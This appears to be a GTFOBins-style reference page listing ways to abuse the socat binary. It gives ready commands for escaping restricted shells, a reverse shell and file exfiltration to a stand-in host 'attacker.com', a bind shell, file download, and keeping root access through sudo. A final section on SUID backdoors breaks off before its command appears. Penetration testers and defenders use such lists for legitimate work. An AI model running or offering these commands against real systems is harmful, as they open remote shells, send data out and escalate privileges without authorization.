.. / socat
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Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

The resulting shell is not a proper TTY shell and lacks the prompt.
```
socat stdin exec:/bin/sh
```

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

RHOST=attacker.com
RPORT=12345
socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane

Bind shell

It can bind a shell to a local port to allow remote network access.

Run socat FILE:`tty`,raw,echo=0 TCP:target.com:12345 on the attacker box to connect to the shell.
```
LPORT=12345
socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
```

File upload

It can exfiltrate files on the network.

Run socat -u tcp-listen:12345,reuseaddr open:file_to_save,creat on the attacker box to collect the file.
```
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
socat -u file:$LFILE tcp-connect:$RHOST:$RPORT
```

File download

It can download remote files.

Run socat -u file:file_to_send tcp-listen:12345,reuseaddr on the attacker box to send the file.

RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

The resulting shell is not a proper TTY shell and lacks the prompt.
```
sudo socat stdin exec:/bin/sh
```

Limited SUID

If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via system()-like invocations) it only works on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.